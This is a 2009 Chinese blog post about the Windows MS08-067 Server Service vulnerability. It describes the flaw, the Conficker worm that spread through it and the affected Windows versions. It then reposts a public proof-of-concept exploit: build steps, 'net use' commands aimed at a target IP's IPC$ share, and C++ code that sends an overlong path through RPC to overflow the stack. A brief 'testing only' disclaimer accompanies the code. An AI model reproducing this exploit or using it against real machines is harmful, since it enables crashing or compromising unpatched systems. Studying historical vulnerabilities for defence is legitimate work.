查看文章
 
MS08-067漏洞全解析 MS08-067漏洞利用工具
2009年02月18日 星期三 12:24

      MS08-067漏洞描述:

     此安全更新解决了服务器服务中一个秘密报告的漏洞。 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。

      MS08-067漏洞攻击原型描述:

      一个未授权的攻击者可以远程触发该漏洞,可以执行Windows Server 2000、Windows XP和 Windows 2003机器上的代码。一般情况下,Windows Vista和Windows Server 2008系统都需要认证。然而,攻击者必定是接触到RPC界面来利用该漏洞进行攻击。在默认的情况下,攻击者是接触不到界面的,因为Windows XP SP2、Windows Vista、Windows Server 2008系统中防火墙是默认开启的。但当防火墙关闭、防火墙开启但文件、打印机共享开启任意一种情况下都可以暴露RPC界面。

      利用MS08-067漏洞传播的蠕虫

      最近微软悬赏25万美元抓拿的Conficker蠕虫正是利用了MS08-067漏洞,专家说这是SQL Slammer之后最严重的病毒感染,谢菲尔德报告说这个蠕虫已经感染了超过一千五百万台计算机,已经遍布行政办公室、海军的桌面系统、潜艇、医院和整个城市。

      值得幸运的是,由Conficker蠕虫组成的僵尸网络已被中美安全专家联合挫败

      值得警惕的是,病毒编写人员(写作小组)为以防不测,都会把代码做安全备份或分享给其他病毒编写组织。或期待编写出威力更甚的病毒或蠕虫。

      警钟应该长鸣!

      受MS08-067漏洞影响的系统:

操作系统 最大安全影响 综合严重等级 此更新替代的公告

Microsoft Windows 2000 Service Pack 4

远程执行代码

严重

MS06-040

Windows XP Service Pack 2

远程执行代码

严重

MS06-040

Windows XP Service Pack 3

远程执行代码

严重

Windows XP Professional x64 Edition

远程执行代码

严重

MS06-040

Windows XP Professional x64 Edition Service Pack 2

远程执行代码

严重

Windows Server 2003 Service Pack 1

远程执行代码

严重

MS06-040

Windows Server 2003 Service Pack 2

远程执行代码

严重

Windows Server 2003 x64 Edition

远程执行代码

严重

MS06-040

Windows Server 2003 x64 Edition Service Pack 2

远程执行代码

严重

Windows Server 2003 SP1(用于基于 Itanium 的系统)

远程执行代码

严重

MS06-040

Windows Server 2003 SP2(用于基于 Itanium 的系统)

远程执行代码

严重

Windows Vista 和 Windows Vista Service Pack 1

远程执行代码

重要

Windows Vista x64 Edition 和 Windows Vista x64 Edition Service Pack 1

远程执行代码

重要

Windows Server 2008(用于 32 位系统)*

远程执行代码

重要

Windows Server 2008(用于基于 x64 的系统)*

远程执行代码

重要

Windows Server 2008(用于基于 Itanium 的系统)

远程执行代码

重要

Windows 7 Beta(用于 32 位系统)

远程执行代码

重要

Windows 7 Beta x64 Edition

远程执行代码

重要

Windows 7 Beta(用于基于 Itanium 的系统)

远程执行代码

重要

       微软关于MS08-067的安全公告:

     http://www.microsoft.com/china/technet/security/bulletin/MS08-067.mspx

       MilW0rm MS08-067 Remote Stack Overflow Vulnerability Exploit(MilWorm 关于MS08-067漏洞的测试代码)

       警告:本文所提供的微软MS08-067漏洞代码仅供测试用,不可用于攻击网络。

    README.txt

    In vstudio command prompt:

     mk.bat

     next:

   attach debugger to services.exe (2k) or the relevant svchost (xp/2k3/...)

   net use \\IPADDRESS\IPC$ /user:user creds
   die \\IPADDRESS \pipe\srvsvc

In some cases, /user:"" "", will suffice (i.e., anonymous connection)

   You should get EIP -> 00 78 00 78, a stack overflow (like a guard page
   violation), access violation, etc. However, in some cases, you will get
   nothing.

   This is because it depends on the state of the stack prior to the "overflow".
   You need a slash on the stack prior to the input buffer.

   So play around a bit, you'll get it working reliably...
   把以下代码做成相对应文件名的文件,就可以测试MS08 067漏洞了。其中只用到了bat批处理文件,其他均为文本文件,省去了编译源代码的环节。

    mk.bat

    midl srvsvc.idl
    cl /Fedie srvsvc_killer.cpp srvsvc_c.c /MT rpcrt4.lib

    MY_HASH.txt

    In case people are wondering, the following is just some random
    MD5 of something I have:

    31147ed1584d468273d8ed995e0d26b9


   srvsvc_killer.cpp

#include <windows.h>
#include "srvsvc.h"
#include <stdio.h>

extern "C" PVOID __stdcall MIDL_user_allocate(size_t s) { return malloc(s); }
extern "C" VOID __stdcall MIDL_user_free(PVOID p) { free(p); }

int main(int argc, char **argv)
{
RPC_STATUS status;
unsigned char *strBind = 0;
handle_t handle;

status = RpcStringBindingComposeA(0, // object uuid
(RPC_CSTR)"ncacn_np", // protseq
(RPC_CSTR)argv[1], // net addr
(RPC_CSTR)argv[2], // endpoint
0,
&strBind);
if (status) { printf("%d\n", status); return status; }

printf("%s\n", strBind);

status = RpcBindingFromStringBinding(strBind, &handle);
if (status) { printf("%d\n", status); return status; }

RpcTryExcept {
    unsigned char x[1000];
    long q = 1;
//    _NetprPathCanonicalize(handle, L"AAA", L"BBB", x, 1000, L"", &q, 0x100);
    _NetprPathCanonicalize(handle, L"AAA", L".\\\\x\\..\\..\\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", x, 1000, L"", &q, 1);
} RpcExcept(EXCEPTION_EXECUTE_HANDLER) {
    unsigned long code = RpcExceptionCode();
    printf("WAHAHAH %d %08x\n", code, code);
} RpcEndExcept

printf("hi\n");
}

     srvsvc.idl

/*
* IDL code generated by mIDA v1.0.8
* Copyright (C) 2006, Tenable Network Security
*
http://cgi.tenablesecurity.com/tenable/mida.php
*
*
* Decompilation information:
* RPC stub type: interpreted / fully interpreted
*/

由于篇幅的限制,srvsvc.idl的代码直接转入MilW0rm的MS Windows Server Service Code Execution Exploit (MS08-067) (Univ)

       以上关于 MS08-067的测试代码是milw0rm在2008年10月23日发布的,看来国外的网络安全研究人员更opensource一点。


类别:默认分类||添加到搜藏 |分享到i贴吧|浏览(2355)|评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
     

   
帮助中心 | 空间客服 | 投诉中心 | 空间协议
©2012 Baidu